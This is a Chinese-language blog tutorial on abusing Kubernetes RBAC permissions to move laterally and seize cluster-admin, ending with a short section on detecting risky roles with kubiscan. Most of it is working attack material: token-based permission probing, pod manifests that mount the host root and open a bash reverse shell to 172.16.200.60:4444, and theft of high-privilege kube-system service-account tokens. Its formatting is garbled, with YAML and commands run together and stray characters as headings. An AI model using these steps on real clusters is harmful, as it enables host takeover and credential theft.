RBAC权限的滥用
在上一篇文章中我们讲了RBAC授权,传送门:K8s API访问控制 。并且绝大多数版本的K8s都默认使用RBAC作为其默认的授权方式。那么RBAC授权在我们进行K8s集群横向移动的时候有哪些可利用点呢?本篇文章我们介绍在K8s集群横向移动时如何滥用RBAC权限,并通过滥用的RBAC权限横向获得集群的cluster-admin权限接管整个K8s集群。
假如我们在K8s集群横向移动的时候,获得了一个kubeconfig文件或者获得了一个Token,亦或者是获得了某台pod的权限。那么接下来我们的横向思路是什么呢?
在之前的文章中我们知道,一个Pod必须要以某一个Service Account的身份去运行,而一个Service Account对应着一个Secret,一个Secret保存着一个Token和公钥文件。所以获得了Pod的权限就意味着获得了一个具有访问K8s API Server的Service Account,只不过默认情况下该Service Account所拥有的权限比较低而已。而获得的Token最终也是可以转换到一个Service Account对象,该Service Account对象的权限取决于它所绑定的角色。而kubeconfig文件也是可以最终转换到对应的访问主体上(User/Group),该kubeconfig文件的权限取决于所对应的主体绑定的角色。
所以这个问题最后就归结到所获得的kubeconfig文件、Token、Pod所对应的主体绑定的角色如何。
以下我们以获得了某个Pod权限为例作为演示,这也是实战中碰到最多的情况。
RBAC权限滥用
#查看是否拥有 cluster-admin 的权限kubectl auth can-i "*" "*" --insecure-skip-tls-verify -s https://172.16.200.70:6443 --token="xxxx"#列出当前用户对所有服务器资源的访问权限kubectl auth can-i --list --insecure-skip-tls-verify -s https://172.16.200.70:6443 --token="xxxx"#列出当前用户对所有指定命名空间的访问权限kubectl auth can-i --list --namespace=kube-system --insecure-skip-tls-verify -s https://172.16.200.70:6443 --token="xxxx"#pod相关kubectl auth can-i create pod --insecure-skip-tls-verify -s https://172.16.200.70:6443 --token="xxxx"kubectl auth can-i list pod --insecure-skip-tls-verify -s https://172.16.200.70:6443 --token="xxxx"kubectl auth can-i get pod --insecure-skip-tls-verify -s https://172.16.200.70:6443 --token="xxxx"创建pod权限 查看secret权限 创建Rolebinding/clusterrolebinding权限
创建POD权限
春
指定命名空间
节
kind: RoleapiVersion: rbac.authorization.k8s.io/v1metadata: namespace: test name: create-podrules:- apiGroups: ["*"] resources: ["pods"] verbs: ["create","get"]#在test命名空间创建test-sa服务账户kubectl create serviceaccount test-sa -n test#将test-sa与create-pod进行rolebindingkubectl create rolebinding test-sa-rolebinding -n test --role=create-pod --serviceaccount=test:test-sa#获得服务账户test-sa所对应的secretkubectl get serviceaccounts test-sa -n test -o yaml#查看指定secret的Tokenkubectl describe secret test-sa-token-s4pgj -n testapiVersion: v1kind: Podmetadata: name: myapp2 namespace: testspec: containers: - image: nginx name: container command: ["bash"] args: ["-c", "bash -i >& /dev/tcp/172.16.200.60/4444 0>&1"] volumeMounts: - mountPath: /mnt name: test volumes: - name: test hostPath: path: /春
集群角色
节
kind: ClusterRoleapiVersion: rbac.authorization.k8s.io/v1metadata: name: create-podrules:- apiGroups: ["*"] resources: ["pods"] verbs: ["create","get"]#在test命名空间创建test-sa10服务账户kubectl create serviceaccount test-sa10 -n test#将test-sa10与create-pod进行clusterrolebindingkubectl create clusterrolebinding test-sa10-clusterrolebinding --clusterrole=create-pod --serviceaccount=test:test-sa10#获得服务账户test-sa所对应的secretkubectl get serviceaccounts test-sa10 -n test -o yaml#查看指定secret的Tokenkubectl describe secret test-sa10-token-4c8wm -n testapiVersion: v1kind: Podmetadata: name: myapp namespace: kube-systemspec: serviceAccountName: "namespace-controller" containers: - image: nginx name: container command: ["bash"] args: ["-c", "bash -i >& /dev/tcp/172.16.200.60/4444 0>&1"] volumes: - name: test hostPath: path: /查看secret权限
春
list secret
节
kind: ClusterRoleapiVersion: rbac.authorization.k8s.io/v1metadata: name: list-secretrules:- apiGroups: ["*"] resources: ["secrets"] verbs: ["list"]#在test命名空间创建test-sa2服务账户kubectl create serviceaccount test-sa2 -n test#将test-sa2与list-secret进行clusterrolebindingkubectl create clusterrolebinding test-sa2-clusterrolebinding --clusterrole=list-secret --serviceaccount=test:test-sa2#获得服务账户test-sa2所对应的secretkubectl get serviceaccounts test-sa2 -n test -o yaml#查看指定secret的Tokenkubectl describe secret test-sa2-token-q588z -n test春
get secret
节
kind: ClusterRoleapiVersion: rbac.authorization.k8s.io/v1metadata: name: get-secretrules:- apiGroups: ["*"] resources: ["secrets"] verbs: ["get"]#在test命名空间创建test-sa3服务账户kubectl create serviceaccount test-sa3 -n test#将test-sa3与get-secret进行clusterrolebindingkubectl create clusterrolebinding test-sa3-clusterrolebinding --clusterrole=get-secret --serviceaccount=test:test-sa3#获得服务账户test-sa3所对应的secretkubectl get serviceaccounts test-sa3 -n test -o yaml#查看指定secret的Tokenkubectl describe secret test-sa3-token-k5tm4 -n test春
K8s默认的高权限secret
节
bootstrap-signer-token-xxxxx daemon-set-controller-token-xxxxx generic-garbage-collector-token-xxxxx namespace-controller-token-xxxxx replicaset-controller-token-xxxxx resourcequota-controller-token-xxxxx token-cleaner-token-xxxxx
kubectl describe secret bootstrap-signer-token-962js -n kube-systemkubectl get RoleBindings -o wide -A | grep bootstrap-signerkubectl get Role/system:controller:bootstrap-signer -o yaml -n kube-system创建rolebinding/clusterrolebinding权限
kind: RoleapiVersion: rbac.authorization.k8s.io/v1metadata: name: create-rolebinding namespace: kube-systemrules:- apiGroups: ["*"] resources: ["rolebindings"] verbs: ["create"]#在test命名空间创建test-sa5服务账户kubectl create serviceaccount test-sa5 -n kube-system#将test-sa5与create-rolebinding进行rolebindingkubectl create rolebinding test-sa5-rolebinding -n kube-system --role=create-rolebinding --serviceaccount=kube-system:test-sa5#获得服务账户test-sa5所对应的secretkubectl get serviceaccounts test-sa5 -n kube-system -o yaml#查看指定secret的Tokenkubectl describe secret test-sa5-token-l455n -n kube-system检测RBAC权限滥用
查找集群中所有高危的对象
kubiscan -a查找具有高权限的Role/ClusterRole
#查找具有高权限的Rolekubiscan -rr#查找具有高权限的Role,并显示具有的规则kubiscan -rr -r#查找具有高权限的ClusterRolekubiscan -rcr#查找具有高权限的ClusterRole,并显示具有的规则kubiscan -rcr -r
#查找具有高权限的Role和ClusterRolekubiscan -rar#查找具有高权限的Role和ClusterRole,并显示具有的规则kubiscan -rar -r查找具有高权限的Rolebindings/ClusterRolebindings
#查找具有高权限的Rolebindingskubiscan -rb#查找具有高权限的ClusterRolebindingskubiscan -rcb#查找具有高权限的Rolebindings和ClusterRolebindingskubiscan -rab查询具有高权限的主体
kubiscan -rp查找关联了高权限ServiceAccount的pod
kubiscan -rp查找特权pod
kubiscan -pp查找指定主体绑定的权限
春
指定命名空间下的ServiceAccount绑定的角色
节
kubiscan -aars "daemon-set-controller" -ns "kube-system" -k "ServiceAccount"春
指定User绑定的角色
节
kubiscan -aars "system:kube-controller-manager" -k "User"春
指定Group绑定的角色
节
kubiscan -aars "system:masters" -k "Group"查找指定主体的绑定
春
指定命名空间下的ServiceAccount的绑定
节
kubiscan -aarbs "daemon-set-controller" -ns "kube-system" -k "ServiceAccount"春
指定User的绑定
节
kubiscan -aarbs "system:kube-controller-manager" -k "User"春
指定Group的绑定
节
kubiscan -aarbs "system:masters" -k "Group"END